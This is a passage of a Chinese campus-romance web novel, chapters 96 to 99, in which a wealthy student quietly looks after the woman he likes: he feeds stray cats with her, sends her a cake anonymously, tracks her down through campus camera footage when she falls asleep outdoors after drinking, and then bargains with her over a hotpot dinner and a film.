恨不得让所有人都知道,他沈屹骁喜欢她。 可是他那么迫切地想和她站在一起,换来的却是她的唯恐避之不及。 行,那他就再给她一次选择的机会。 “确定要在这里说?” 因为他说的是想请她帮忙的事,所以夜浓不觉得这个场合有什么不妥。 相反,和他坐在一起,才会更加让人议论。 所以夜浓一点迟疑都没有:“嗯,你说。 沈屹骁: 行,她让他说的。 “晚上要不要去看电影 他刚一说完,夜浓就抬手捂在了他嘴巴上。 “你疯啦!”她整个人都慌了,完全没注意到自己下意识做出的动作比和他同坐一桌更惹眼 耳边的嘈杂声突然降了下来。 看见从他眼睛里跑出来的笑意,夜浓愣了一下,默了两秒,她才反应过来似的,手从他嘴上拿下来的同时,她人也迅速转过了身。 在不知多少双眼睛的注视下,她几乎是用"逃’的离开了食堂。 沈屹骁追出来的时候,夜浓已经跑下了台阶。 被他高大的身影和一双长臂挡住去路,夜浓重重剜了他一眼后转身 沈屹骁不可能让她走。 她往右跑,他就往左拦。 她往左溜,他就往右堵。 “你到底要干嘛!"又气又恼下,她樱红的唇微微噘着。沈屹骁压着嘴角的笑,故作委屈:“不是你让我说的吗?"夜浓嗓子里一噎:“"所以都怪我喽?"沈屹骁想都没想就摇头:“怪我。"还说会止住流言,”她怨道声明显:“我看你是恨不得让那些流言越传越厉害。说到这儿,夜浓突然眼角一眯:“那些谣言该不会是…"沈屹骁心脏猛然一紧,都不等她说完就急忙否认:“不是。 夜浓歪头看他:“我说什么了你就说不是?" 刚刚一紧张,差点露出破绽。沈屹骁迅速转移话题:“今天是真的有事找你帮忙。夜浓剜了他一眼后,把脸一偏:“不帮。但是他以退为进:“那行吧,那我再问问其他人。说完,他掏出手机,指尖滑动两下后,他又抬头。“你知道这附近哪里有宠物店吗?”“宠物店?”夜浓微微一怔:“白梨巷那边有一家。见他眉头紧锁,夜浓又问:“你找宠物店干嘛?"沈屹骁往左拾了抬下巴:“食堂后面有几只流浪猫,我有点事要离开几天,想找个人帮我喂一下。竟然是他?夜浓不可置信地看着他,嘴角几度张开才发出声音:“花园边的猫粮是你放的?"沈屹骁脸上的讶异不比她好到哪里去,“你怎么知道?"夜浓:“怎么会这么巧。这人倒不是她以貌取人,实在是他给她的感觉,有或者是印象,让她无法和「爱心」两个字挂上勾。光是想象他蹲在那儿给猫喂食的画面,夜浓就觉得很违和。不过夜浓也不是对方随随便便两句话,就会让她生出信任的人。当然,从她质疑眼神里,沈屹骁也能感觉到她的半信半疑。“你能帮我吗?”沈屹骁问:“如果能的话,我寝室里还有一袋猫粮,我去拿来。夜浓心里的顾虑就是被他这句话打消的。不过,一码归一码。夜浓说:“我可以帮你喂,但是你也得答应我一件事。答应她什么?以后看见她要保持距离,还是说,看见了要当做没看见?想得倒是美。 别的事,沈屹骁没把握,但这件事,他倒是有一千一万个信心,不只有信心,还能把她此时的火气瞬间给灭下去 沈屹骁根本不给她提要求的机会。 “所以在你眼里,什么事都可以被当作交换的筹码吗? 夜浓愣在原地。 沈屹骁狠着心朝她笑了笑。 狠着心转身。 "十、九、八、七、六- 五下,他就只倒数了五下,刚刚还狠心势必跟他划清界限的人就跑到了他身前,拦住了他的路 在她樱红的唇几度抿合里,沈屹骁在心里总结了今天在她身上发现的各种小习惯和喜好。 她不吃香菇。 疑惑不解的时候喜欢拧眉。 吞吐迟疑,心有愧疚时会咬唇。 除了这些,还有 她腰很细,比他肉眼看到的要细很多。 她耳朵后有一颗很小很浅的小痣。 指腹很软,掌心很薄。 她凶起来比没有情绪的时候要可爱。 独属于她的个人属性刚被沈屹骁在心里罗列完,她的声音也刚好响在他耳边。 “我收回我刚刚说的话。 “流浪猫,你就放心交给我,我会照看好它们的。 "之前对的态度有些不好,我向你 “对不起。 沈屹骁将她还没有来及说出口的三个字说了出来。 夜浓被他突如其来的三个字听得一怔:“你、你干嘛 “我是男人。 他是笑着的,语气里有玩笑,却也不乏认真: “在我这,你不可能有错。 96、大学 夜浓完全没想到他会说出这样一句话来。 虽然她不确定这句话是否暗含其他的意思,但他看过来的眼神却是滚滚烫烫的,有着热烈的直白被太多男生喜欢过,告白过,夜浓只一个眼神就能看出对方是不是喜欢最积极。可是面前的这个人却和她之前遇到的都不一样。 这就像做题,同类型的题做过太多,一眼就能下笔写出步骤。 没做过的,甚至没见过的题型,不知从哪里下手不说,还生怕做错了会丢分。 答案写错了怕丢分成绩不理想。 可是误会他了,她又怕什么? 这个问题,在沈屹骁说有事要离开的几天里,总是时不时地出现在夜浓的脑海但是她从来都不是一个钻牛角尖的人,想不明白的人和事,她会主动放到一边。因为在她看来,时间就是答案。切好像都没变, 她一如既往地上下课,一如既往地穿梭在食堂、寝室、图书馆、水房。如既往的,会听到一些不好听的声音,在那些刺耳又让她习以为常的声音里,多了一个名字:沈屹骁。 “沈屹骁,你真把我当你跟班了是吧?" 听说自己要帮他送吃的,齐祯直接就炸了。 沈屹骁也不废话,指尖几下轻点后,他问:“够吗? 手机从耳边拿下来,看见弹出的一条微信消息,点开,是个数额惊人的转账, 齐祯都看笑了:“够,说吧,送几天。"今天是周三,沈屹骁人在国外还没有回来。“就今晚,”他说:“我后天回去。”齐祯知道他是跟他父亲出差,这么好的机会,他怎么可能放过。“帮我带点东西。”沈屹骁问是什么。齐祯跟她说了两个牌子后,沈屹骁笑了:“你女朋友的东西,凭什么让我去买。齐祯送了他三个呵呵呵:“那我又凭什么给你的女朋友送吃的?"沈屹骁说:“因为我不缺钱。听得齐祯都想骂人。隔着两千多公里,沈屹骁于机遥控似的:“现在就去,买完凭照片,我给你转剩下的一半-听刚刚的转账只是一半,齐祯手里的篮球顿时一扔。两个小时后,齐祯拎着从凯旋国际,那个花重金从国外聘请过来的星级主厨亲手做的几道甜品,回到了学校送吃的事小,拍照收款事大。齐祯左手举着包装精致的蛋糕盒,右手拿着于机,以夜浓住的那栋宿舍楼为背景,连带着落日余晖一块儿给拍了下来十几张照片发过去后,沈屹骁的电话很快打来。“你找个眼生的女生给她送去,别让她知道是我送的。齐祯听不懂了,“这么大费周章的,还不让她知道是你送的,那你图什么?沈屹骁也不懂他:“我为什么一定要图什么?”这像是一个从小就展露出精锐商业头脑的人说出的话?齐祯服气了,“沈屹骁,你完了。”以为他会好面子不承认,结果却听他说“我知道。" 齐祯:"…面对这么一个''完了’的兄弟,齐祯认真做好售后。二十分钟后,沈屹骁接到了他的服务电话。“东西送到了,不过她人不在寝室。"作为他今天出手阔绰的回礼,齐祯多了句嘴:“她室友说,她下午连课都没上。”那就是一整个下午都没在学校?沈屹骁问:“那她室友知道她去哪了吗?"“这我哪知道,”齐祯问:“要不要让她室友打电话帮你问问?"沈屹骁也有夜浓的电话,只不过从来没有打过。“不用,”他说:“我自己打吧。”不过他没用自己的电话打,用了酒店的电话,结果打过去却显示关机,没办法,沈屹骁只能又找齐祯:“你在哪?"不用想就知道这人打的什么主意。齐祯拿他之前说的话来堵他:“你女朋友,凭什么让我去蹲点!"他刚一说完,手机就震了一下,一看,又是一笔转账。齐祯都无语了:“你能不能换点新鲜的?"沈屹骁不跟他废话:“现在就去。"为了五斗米折腰,齐祯越想越窝囊,他不爽,也得让始作俑者跟着不爽"你说你担心个什么劲,说不好她是跟她那个亲戚一块出去玩了呢!"沈屹骁声音顿时沉了下去:“那你也去给我蹲着!"齐祯:“两千多公里的距离,胡思路想会被无限放大。沈屹骁不喜欢坐以待毙,也不喜欢被负面的情绪左右,八点三十五分,他坐上了回京市的最后一班飞机。三个多小时的机程,从机场再到白梨巷,时间已经凌晨一点多。很多店都已经歇业,但是上次夜浓吃的那家旋转火锅店还没有关门。沈屹骁急忙跑进去,“老板,这个女孩子今晚来过吗?"老板只一眼就认出了他手机里的人,“她啊,她一般都是周末才来。店里找不到人,沈屹骁就沿着白梨巷四周开始找,刚到路口,齐祯的电话打来。“她家邻居说,她下午一点多的时候的确回去过,但是没待一会儿就走了。”还能去哪呢?沈屹骁站在路边,看着没有红绿灯的三岔路口,地,他眉心一展。“你先学校的监控室,我来给王校长打电话。学校的监控设备都是沈家提供的,这点便利自然会给。半个小时,在监控画面回放的快进里,沈屹骁眸光一顿:“停。值班人员凑近看了看:“是她吗?”沈屹骁长长松了口气:“是。"旁边,齐祯心脏也跟看落了地:“找了半天,她这是还在学校?"沈屹骁不敢掉以轻心:“你在这继续看着,我先去学校里找,如果她后面又出去了,你给我打电话。学校这么大,他一个人得找到什么时候,齐说:“要不要我找几个朋友帮着一块?"沈屹骁说不用。跟了她大半个月,除了白梨巷、食堂、图书馆和食堂之外,沈屹骁还知道她喜欢去两个地方。个是冷梅园,一个是茉香亭。现在正是茉莉花开的季节,沈屹骁没有去,他去了离监控室最远的,位于学校西南角的冷梅园。冷梅园是个小花园,里面种的全是梅花。除了梅花盛放的冬季,其他时候,那里几乎无人无津。他也不知道自己为什么会这么笃定她一定会在那里,可心里就是有一道声音,从看见她出现在监控画面的时候,就一直不停地在他心里、脑海里回响,不过在去之前,他先回了趟寝室,拿了件外套和一瓶蚊虫止痒液。六月的夜晚,风都是热的。跑到冷梅园的时候,沈屹骁身上的T恤几乎全都汗透。可是看见躺在长椅上的人….那种感觉要怎么形容呢?剧烈起伏的胸腔,都因为看见她而一秒回到了平静。沈屹骁轻步走过去。 米七,不算娇小的身形,蜷起来却显得她是那么小小的一只。也幸亏是蜷着,这要是把腿露出来,不知道能喂饱多少只蚊子。视线从她盖过脚的裙摆回到她露在外的胳膊,两三圈的白色防蚊手环,让沈屹骁偏开脸笑了。看来是有备而来。所以是打算在这里睡上一夜?弯腰,将带来的外套展开披在她身上的时候,沈屹骁闻到了她身上的酒气.这是喝酒了?沈屹骁低头找了两眼,果然看见歪倒在地的两个易拉罐瓶是酒精含量特别低的气泡果酒。所以,这是睡着了,还是喝醉了?如果是喝醉,那她这酒量沈屹骁低低笑了声。就着那两瓶酒的底气,沈屹骁轻轻拍了拍她的肩。不见她有反应,沈屹骁又喊了两遍她的名字,依旧是一点反应都没有。看来还真有几分喝醉的架势。胆子倒是大。沈屹骁抬头看了看,这才发现两米远就有一个摄像头正对着这边。难怪不怕呢!沈屹骁也没什么好怕的。一手探到她颈下,一手托起她腿弯,直接将人抱了起来。不过不是把人抱走,而是把人抱到他怀里。毕竟在他怀里睡,比在这硬邦邦的椅子上睡要舒服。只是没想到,刚刚喊了没反应的人,一到他怀里就不老实了。不仅脸在他臂膀上蹭来蹭去,手也一会儿搂上他腰,一会儿攀上他肩。沈屹骁当然知道她是不舒服才会这样。在她的不消停里,沈屹骁一边轻轻拍着她肩,一边把她的脸压在自己胸口。在她一声含糊不清的咕哝声里,沈屹骁低头看她,这才发现她额头沁出了一层薄汗。这么热的天,这样的姿势抱着,热的何止是皮肤。沈屹骁别开脸,轻着动作吁出长长一口气。这么下去哪里是办法。但是送她回寝室肯定不行。别说楼下的宿管会问东问西,就她和室友的关系,肯定也会在背后掀起是非 "送走’一个李晓琪,总不能把另外两个也送走。可是他车今天不在学校,齐桢倒是有车,就是太多的人坐过。沈屹骁废了些劲才从口袋里掏出手机,机屏幕刚一滑开,齐的电话就打来了。挂断后,沈屹骁发了短信过去:「还在监控室?」齐祯:「在,人找到了吗?」 沈屹骁:「找到了,你去把我的车开来学校,我在冷梅园。」齐桢:「这都几点了,我车给你用。」沈屹骁:「我要我自己的车。」紧接着,他转账发了过去。齐桢:「你家钱都是大风刮来的?」沈屹骁:「我自己赚的。」这条短信后,沈屹骁把震动调成了静音,手机放到一边后,他扯过旁边的外套盖在了夜浓露在外的脚腕上。之后,他的视线就没从她脸上移开过。到底是什么酒量能被两瓶果酒灌醉成这样?今天幸亏是他,这要是别人呢?一个女孩子,防备心怎么会低成这样!还是说,铁定了摄像头下,别人不敢对她做什么?不过,换了个人,怕是不会像他这样,明明一个低头就能吻上她的唇,却能忍到现在。 对,是忍。 如果不忍,他吻的何止是她的唇。 97、大学 在对她的心思上,沈屹骁从来都不觉得自己是一个君子。 别说吻她了,更过分的遐想,他都有过。 但是初吻这么美好的事情,在他一厢情愿的情况下发生,实在太可惜。而且她现在不省人事,他就算是吻她,也不过是蜻蜓点水,一触即离相比这种隔靴搔痒的吻法,沈屹骁更喜欢让人心滞的热烈。 视线从她红软的唇移开,沈屹骁抬手擦掉了她额头的汗。 一直到搁在一旁的手机屏幕亮了,他都没有任何越矩的动作。 瞥了眼来电后,沈屹骁回头看了眼。 两束刺眼的白光里,他挂断来电,抱起怀里的人起身. 看着挺瘦的人,没想到抱起来却有些沉。但是这种压在他两只手臂上,沉甸甸的重量,却让他每一步都走得很轻快, 从车里下来后,齐祯就整个人愣住了,他怎么都没想到自己看到的会是这种场面直到沈屹骁朝他扬起下巴,让他把车门打开,他才回过神“怎、怎么回事,”他勾着脑袋往沈屹骁的怀里看,“这是晕倒了?"“不是,喝了点酒, 睡着了。” 齐祯:"…" 大半夜的,一个女孩子,跑到这''荒山野岭’的地方喝醉? 胆子够大的呀! 眼看沈屹骁把人放进后座,齐祯拽着他的胳膊,把他拉到一边:“刚刚在里面,你没对人家怎么样吧? 见他皱眉,齐祯直接落实到部位上:“手、嘴 沈屹骁 脚扫他腿上。 齐祯:"… 他说错了吗? 沈屹骁打开主驾驶的车门,坐进去前不忘警告他:“收起你脑子里那些肮脏的东西。 齐祯都听笑了。 他肮脏? 他这是一个正常男人的思维逻辑好吗? 倒是这人 齐祯走过去,胳膊往落下的车窗上一搭。 “那我请问,你这个不肮脏的人,准备把,人家一个喝醉的小姑娘带哪去? 在齐祯看来,除了酒店就是他的公寓。 偏偏这两个地方,沈屹骁一个都没去, 他甚至连学校大门都没出。 车子平稳地行驶、转弯,再缓慢地经过一个又一个的减速带,最后开进了位于学校东北角的停车场。 两黑三白。 避免形单影只会招摇,沈屹骁把自己的这辆黑车停在了另一辆黑车的副驾驶旁。 他也没有下车,侧着身,看着后座的人。 看着看着,困意席卷,他索性放倒座椅躺下。丝丝凉风里,他阖着的服角微微下弯。不知后座的人醒来会是这样的反应。定会很惊讶,惊掉下巴也说不定。但是一定不会生他的气,说不好还会跟他说一声“谢谢”那他是不是可以借着这机会,跟她索要一顿饭作为谢礼呢?想到两瓶几乎没什么酒精含量的果酒,就让她醉得如此不省人事,沈吃骁不禁笑出了声,这一笑就笑到了扶额,笑着笑着,隐约感觉到有一道目光从后面锁过来,他上夸的嘴角蓦然一僵。 是错觉吗?沈屹骁欠起身。车后是一排绿篱,刚好立着一杆路灯,透白的光线从敞开的大窗透下来,刚好照在夜浓侧躺着的半张脸上。心虚又紧张里,夜浓明显感觉到自己的眼睫在抖。这要是被他发现自己在装睡 “醒了?" 夜浓只觉得心脏一停。 怎么办,要睁眼吗? 还是继续装睡? 又或者装作被他吵醒? 心脏的“怦怦”声里,夜浓抬起胳膊,做了个伸懒腰的姿势。 眼皮缓缓掀开,她没有去看前面的人,盯着天窗,愣了几秒后,她才猛然坐起身。 和定睛在自己脸上的那双眼对上,她故作惊吓:“你、你怎么在这?” 表情是装的,但心跳加速却是真的。 夜浓一边看着他的反应,一边回想着自己刚刚一系列的表情和动作。 虽然没经验,但应该没露出什么破绽。 沈屹骁看着她的同时,嘴角浮着淡淡的笑. 夜浓不由得吞咽了一下:“你、你这么看着我干嘛?" 但凡她把声音扬得高一点,又或者质问声重一点,沈屹骁也不会怀疑。 “你说呢?”沈屹骁脸上笑意不减,“大晚上的,喝醉睡在外面,你是太小看白己了,还是太高估了别人?" 夜浓:"… 她才没有喝醉,早在他把衣服披在他身上的时候,她就醒了。 只不过发现对方是他,她才没有睁眼。 至于为什么装睡,那自然是想证明一下自己的猜测 他走的这几天,夜浓总会想起他说的那句:在我这,你不可能有错, 虽然不是什么告白之类的话,可却越品越暖昧,暖昧到让她不得不怀疑他是不是喜欢她 虽然夜浓恋爱经验为零,可从小到大喜欢她追求她的人太多,她现在都练就了对方一个眼神,她就能看出是不是喜欢她的本领. 偏偏面前这个人,让她看不透。 不仅看不透,也捉摸不透。 主要是,在他身上,夜浓找不到他追求自己的实质性证据。 她甚至在想,心里的那点怀疑,是不是谣言听得太多,让她先入为主了。 天随人愿,让她今晚逮到了一个一探虚实的机会。 可天又不随人愿,除了把她抱起来之外,他竟然没有对她有任何越矩的行为。 见她不说话,眼睫也一点点垂下。 沈屹骁越来越肯定了自己的猜测。 她不是刚醒,也许在把她放上车的时候就醒了,又或者,更早。 如果是这样,那她装睡的目的是什么? 想看看他是不是会对她心怀不轨? 若是今晚他没有忍住,吻了她呢? 她会是什么反应? 车厢里安静的,好像能听见擦过天窗上方的风声 所有的情绪都被他沉在眼睛深处,沈屹骁的视线久久定在她脸上。他渴望从她脸上捕捉到一丝的失落或者委屈,但凡有那么一丁点,他都不会觉得自己是一厢情愿,可是没有,他就只看到了心虚。除了不想被他发现她装睡的心虚外,似乎再也找不到其他。以至于他想从她脸上找到的失落,一点一点涌进他眼底,在此之前,沈屹骁从来都不觉得自己是一个喜欢弯弯绕绕的人,他甚至觉得自己在感情面前,会喜欢打直球。可是真的遇到了自己喜欢的人,遇到一个让他先动心的人,竟让他如此的小心翼。小心翼翼到生怕自己也会成为被她拒绝的那些人中的其中一个。 齐祯说,就凭他的长相和身家背景就能甩掉那些人一大截,可是真的是这样吗? 追他的那些人里,其中不乏有钱的,可她从来都是拒绝的眼睛都不眨。 所以他又有什么特别。 除非特别到,让她看不透,摸不准,既无时无刻出现在她的身边,又让她察觉不到他对她的心思。 有句话叫:润物细无声。 没想到,这句话竟然会被他用在追人的招数里。 沈屹骁垂眸失笑。 "你笑什么?" 沈屹骁看了她一眼后,转身趟了回去,“既然醒了,那就回寝室睡吧。 夜浓:"…"刚做了好人,一转眼就给她下逐客令了?夜浓看着他的发顶,“这么晚了,你为什么会出现在冷梅园?"沈屹骁闭着眼,回她的声音懒洋洋的:“睡不着,就随便逛了逛,谁知道会遇到一个醉鬼。 夜浓: 两瓶果酒而已,他也太小看她了吧! 正腹诽着,又听前面的人说 “你应该庆幸今晚遇到的人是我,但凡换个人,咱俩怕是又要站在风口浪尖了?" “咱俩?”夜浓听得皱眉:“我睡在外面跟你有什么关系?" 座椅调得低,沈屹骁侧过脸就能看见她。 “你睡外面跟我没关系,但你喝醉了睡外面,那就扯不清了。 见她还是一脸的茫然不解,沈屹骁索性把话往直白了说:“别人会觉得咱俩在闹分手,懂了吗?" 之前光想着用澄清去平息谣言,经他这么一提醒,夜浓突然觉得分手也不失为一个好办法。 “能跟你商量一件事吗?" 她突然凑近过来,沈屹骁预感到不对劲,他没说话,就这么静等她的下文 果然听到了她不安分的心思。 “不如我们俩都对外声称我们已经分手了吧。 为了能和他划清界限,还真是无所不用其极。 沈屹骁饶有兴趣地看着她:“那是我甩的你,还是你甩的我?" 压根就没在一起过,夜浓觉得无所谓,不过既然有求于他,夜浓自然也不好让他吃亏 “就说是你甩的我。” 倒是大方。 沈屹骁似笑非笑一声:“我甩的你,那别人问起原因,我怎么说?" 夜浓转了转眸子:“烦了厌了,随便你。” 理由还真是信手拈来。 沈屹骁嘴角勾着不温不淡的笑:“所以为了这莫须有的恋情,我还得背一个渣男的名声? 夜浓只是好心,却没想到会被解读出恶意, “那不然….那就说是我甩的你,这行了吧? 结果他还不满意。 “说我沈屹骁被女人甩?" 他嘴角噙着淡笑:“传出去,你让别人怎么看我?" 98、大学 这也不行,那也不行,夜浓顿时像泄了气的皮球。 “那你说怎么办?" “不怎么办,”沈屹骁将座椅立起来:“送你回去,困死了。”这语气,怎么听着好像在怪她似的?也是,如果不是半夜遇到她这个"醉鬼’,想必他这个沈家大少爷这会儿正在梦乡里呢,夜浓往前瞥了眼:“你什么时候回来的?" 竟然还会关心他回来的时间。 “晚上。”说完,沈屹骁往后视镜看了眼,见她眼眸微转,沈屹骁眉心跳了一下。 这人该不会又想试探他什么? 沈屹骁忙岔开话题:“走之前让你帮我喂猫,没忘吧? 什么叫帮他喂啊,他喂那些流浪猫才几天。 有半个月吗? 半个月 夜浓突然皱起了眉。 她和他的那些谣言好像也传了半个月。 所以,是巧合吗? 视线往前一瞥,刚好和后视镜里那双看过来的眼睛撞上。 “你喜欢猫?" 她眼里有着很深的探究,让沈屹骁哦眉心微不可地一跳。为了转移她注意力才特意岔开的话题,难道给自己挖了个坑?沈屹骁对着后视镜里的她浅浅一笑:“不能喜欢?“他的不答反问让夜浓嗓子里一噎。夜浓别开视线,“我就问问。这么想试探,偏偏心思不够深,耐心也不够足。沈屹骁将视线落到前方:“你对别人,也都这么有防备心?" 夜浓不是对谁都有防备心,只有与她直接相关,且让她觉得蹊跷的人和事,她才会提高警觉。但她又是一个懒得多解释的人, “出门在外,有点防备心不应该吗?" “那你还大半夜的喝醉酒睡在外面?" 被他撵着尾音地逼问,让夜浓眉头一拧:“我那是 像是意识到自己何必跟他一个外人说这么多,夜浓下后面的话,偏脸看向窗外- 直到车停在女生宿舍楼下,两人都没再说话。 声不着情绪的“谢谢”声里,夜浓打开车门下车。 沈屹骁深知她情绪的低落是因为自己的追问,也深知她对自己还有很深的防备,但他哪里还顾得了那么多,他追出车外。 “夜浓。" 这是沈屹骁第一次为了喊住她而喊她的名字。没有离她太近,隔着几米远,给了她,让她觉得足够安全的距离, 直到鼷諤盋囍贳抻回篤觜镙採“我对你,从来都没有恶意。 浑厚的声音,响在这寂静的夜,像他今晚所有的举动一样,让人心安。 可是这种感觉,对夜浓来说,却是那么陌生。 陌生到她心跳加快之余,大脑也一片空白。 她甚至都不知道自己在转身时,是什么样的表情。 就这么浑浑噩噩地开了寝室的门,走到了自己的桌前,才发现桌上放着一个牛皮纸的袋子。 夜太静了,静到一丁点的声响都能被放大许多倍。 头顶传来一声咕哝音,紧接着,隔壁床的蒋蒋探出脑袋. “你回来啦?" 夜浓拾起头说了声抱歉:“吵到你了。 “没有,我刚好想去卫生间。” 在台灯一圈白色光影里,蒋蒋从上铺爬下来,“哦对了,傍晚的时候,有个女生给你送了一袋,"她手指着:“就是这个,我刚接到手里,她就跑了。 袋子口贴了彩色的胶布封口,拆开后,夜浓从里面拎出一个方形的盒子。 “是蛋糕吗?”蒋蒋勾着脑袋问。 四周密封,也看不见里面。 拆开一看,还真是。 蒋蒋悄咪咪地问:“是沈屹骁让人送来的吧?"看似疑问,实则肯定。夜浓一边将盒子还原,一边说:“我和他不是你们想的那种关系。蒋蒋余光瞄了她一眼。突然想起这两天学校私底下传的:沈屹骁什么家世,她什么家世,就算俩人顶头秀恩爱,沈屹骁也不会公开承认和她的关系。蒋蒋没说话,轻着脚上的拖鞋去了阳台安静的夜,卫生间门合上的声音清晰入耳,却盖不过耳边的另一道声音:「我对你,从来都没有恶意。」的确,如果他对她真的有恶意,又何必管她醉酒在外危不危险,假装看不见不就好了。 可是他这么做,只是出于一片好心吗? 他和她,不过是被流言蜚语硬绑到一起的关系。 至于让他担心吗? 夜浓看着被推到一边的纸袋。 天知道她刚刚也是和蒋蒋一样的想法。 可如果真是他送的,那他晚上为什么只字不提? 见蒋蒋进来,夜浓小声问:“送东西来的那个女生,你认识吗?" 蒋蒋摇了摇头:“不认识。” 不过她多了句嘴:“我觉得除了沈屹骁不会再有别人了。 "为什么?" 蒋蒋说:“现在全校都知道沈屹骁和你的关系,别的男生哪还敢追你啊!“ 她这么一说,夜浓突然想起来。之前总是在图书馆等她的韶观远,最近看见她不是低头装看不见就是掉头就走。还有那个刘铮,之前总是有事没事就在寝室楼下等她,不是送她东西就是约她吃饭,最近也是半个人影都看不见了 都是因为忌惮沈屹骁?脑海里现出那张轮廓硬朗的脸,虽然算不上多亲和好接近,但也总是眉眼含笑。有这么可怕吗?还是说,那些人是忌惮他沈家的权势?头顶传来因为翻身而咯吱响的声音。夜浓深吸一口气。不想了,明天如果看见他,当面问他就是谁知连着两天都没在食堂见着他人-直到周五傍晚。还是和以前一样,周围人都看见他跟在她身后了,就她这个当事人不知道。沈屹骁也没喊她,从女生宿舍楼下开始,他就这么隔着一米远的距离,一直跟在她身后,一直跟她到了学校门口。辆电动车从身后骑过去,眼看就要擦过她胳膊,沈屹骁大步往前一迈,搂住了她肩膀吓得夜浓就要往旁边躲,然而两只肩膀,一直在沈屹骁的掌心下,一只抵在他臂下。不算禁锢的禁锢,根本让她避无可避,逃无可逃。 可是抬头看见是他,夜浓心里的紧张莫名其妙就消了大半。在她错愕的表情里,沈屹骁眉眼里的笑自上而下将她笼罩。“去哪?"本来是想问他,你怎么在,结果被他先开口,思路就这么被他带着走了。“白梨巷。"沈屹骁不露声色地松开她肩膀,“那还挺巧。 "你也要去?" 沈屹骁点头:“听说那边有家旋转火锅不错。"听他说要去白梨巷就已经够震惊了,竟然还要去吃旋转火锅?夜浓不可置信地看着他。上次她在食堂用这副有点呆又有点萌的表情看他的时候,沈屹骁就想揉一把她的脑袋了。但是人多,她的反应沈屹骁有点不敢去赌。今天他有点豁出去了似的,抬手在她发顶上揉了一下。“怎么这个表情?"大概是他轻皱的眉头,又或者是他两三分质问的语气,中和了他动作上的暖昧夜浓像是没有察觉似的,没有看路,一边跟在他身侧,一边看着他。以为她是对自己去白梨巷的意图生了怀疑,结果却听她说“蛋糕是你送的吗?"两天过去,她突然提起这事,沈屹骁下意识就重复了句:“蛋糕?他眼里闪过的短瞬怔愣,在夜浓看来就是否认。“没事,我就随口问问。”既然都问了,却又等不及听他的答案。沈屹骁嘴角藏笑,“有人给你送蛋糕了?"这语气听着,怎么好像要找人算账似的?夜浓忙摆了摆手:“没有。” 竟然不承认?沈屹骁歪头看着她,刚好接到她撩开眼皮偷瞄又瞬间垂下眼睫的表情。这是心虚吗?送她蛋糕,她心虚做什么?正百思不得其解的时候,旁边的人开口了-“刘铮你认识吗?" 沈屹骁第一反应就是:“他又找你了?” 夜浓:“ 果然被她猜中了! 夜浓双脚一定,“那韶观远呢,你也找他了?" 沈屹骁懂了。 这是不想让他去找人麻烦,所以才不想让他知道有人送她蛋糕这事! 所以接下来呢,是不是要说,他是她的谁,凭什么去找人家? 结果却听她说 “这事谢谢你啊。” 沈屹骁还以为自己听错了:“…谢谢我?” 夜浓点头,“你不是说要去吃旋转火锅吗,我请你吧。" 齐祯有事没事就会在他面前抱怨女孩子的心思难猜。沈屹骁每次都听得想想笑。 难猜,能有多难猜? 今天看来,何止是难猜。 但是沈屹骁这人不太喜欢猜。 但相比直白地问,他又会倾向于试探。 "我找他们,你都不生气?" 夜浓眼里露着不解:“你帮了我的忙,我为什么要生气?" 沈屹骁:" 就算是帮了她的忙,但是她怎么就不往深处想,他为什么要帮她呢? 还是说,她是后知后觉型的? 如果是这样,那就更可爱了。 沈屹骁把嘴角的笑抿住,捏着分寸地得了点寸进了点尺:“两个人,才一顿饭,是不是有点少? 夜浓这周刚拿到生活费,所以上半个月可以适当地阔绰一点。 再加上猫粮也不用自己买了。 那她就把原本喂猫的钱''喂’给他得了。 就当还他的人情和猫情 一个月要一袋半的猫粮,那就是140块钱,去掉火锅39. 夜浓点头:“只要不超过100块钱都可以。 沈屹骁也爽快:“那就再请我看场电影吧。 99、大学嫵錆 对于自己提的这个要求,其实沈屹骁没抱多大的希望。光是吃饭没什么,可若是吃饭加看电影,那就是情侣之间才会做的事了。沈屹骁甚至都想好,她若是不答应,他要怎么诱哄了,结果却听她爽快地说了声行,还问他:“你想去哪个电影院?" 心头生出的窃喜迅速盖过他的怔愣,沈屹骁想了想。 这附近也没电影院,最近的,环境最好的 算了,还是给她省点生活费吧。 “天街那儿的吧。”他说。 没几秒,夜浓就把手机递到他面前:“你要看哪部?" 沈屹骁没有去接她的手机,低头的同时,指尖在她的手机屏幕上左右滑了滑. “你呢?”他问:“你想看哪个?" 既然是请他看,那自然是要以他为主,夜浓说:“找你喜欢的就行。 沈屹骁就只对科幻片有点兴趣,但是最近没什么大片上映。 但是巧了,有部鬼片。 “这个吧。" 说完,沈屹骁视线落到她脸上,想着,但凡她出现一丁点不情愿的表情,他就换一个,结果却见她神色淡淡地点了点头,还问他:“你喜欢坐什么位置? “最后一排吧。”倒不是他故意,他的确是最后面的视野最好。当然,今晚电影好不好看,又或者视野好不好,这些都不重要,重要的是 “你拍一下。" 沈屹骁愣了一下,看向她立在自己面前的手机屏幕。 “拍什么?" “取票二维码啊。” 视线从那密密麻麻的,让他一头雾水的二维码移开,再落到她脸上,沈屹骁依旧满眼疑惑,“你不是在吗话说一半,他突然懂了:“你不去?"见她摇头,沈屹骁直接气笑了:“请我看电影,你却不去? 夜浓一脸无辜,“不是请你看吗?" 敢情请他看就是请他一个人去看。 这人的脑回路怎么就和别人这么不一样呢?沈屹骁双手抄兜,就这么歪着头看她:“你见过谁请人看电影,把对方一个人丢电影院的?本来不觉得有什么的,被他这么一说,夜浓突然觉得有点理亏了。可又是吃饭又是看电影的,如果被人看到,那不就把他们的关系坐实了吗?正纠结犹豫着,面前的人突然身子一转。夜浓忙追上去:“你去哪呀?" “回学校!" 又低又沉的三个字,让夜浓愣了一下。 这是生气了? 就因为让他一个人去看电影,就.…生气了? 夜浓不相信似的,追着他的侧脸看, 本就英气的一张脸,轮廓一绷紧,更显得他下颚线锋利了。 难怪学校那些人都怕他。 是她的话,也想躲他远远的。 可是怎么办,欠他的人情还没还,现在又把他惹生气. 夜浓小碎步地追在他身侧,“那火锅呢,你也不吃了吗?" “不吃!" 夜浓: 就因为一个电影,至于吗? 还是说,平时众星捧月的,在她这受了冷落,觉得没面子? 果然是大少爷的脾气。 夜浓嘴角偷笑,“行了,别生气了。 见他不仅不理人,走得还更快了,夜浓叹了口气:“去,我去还不行吗?" 听听这不情不愿的语气。 沈屹骁警她一眼,“现在说去,”他哼了声:“晚了。” 个大男人,心眼怎么这么小。 夜浓往前看了眼。 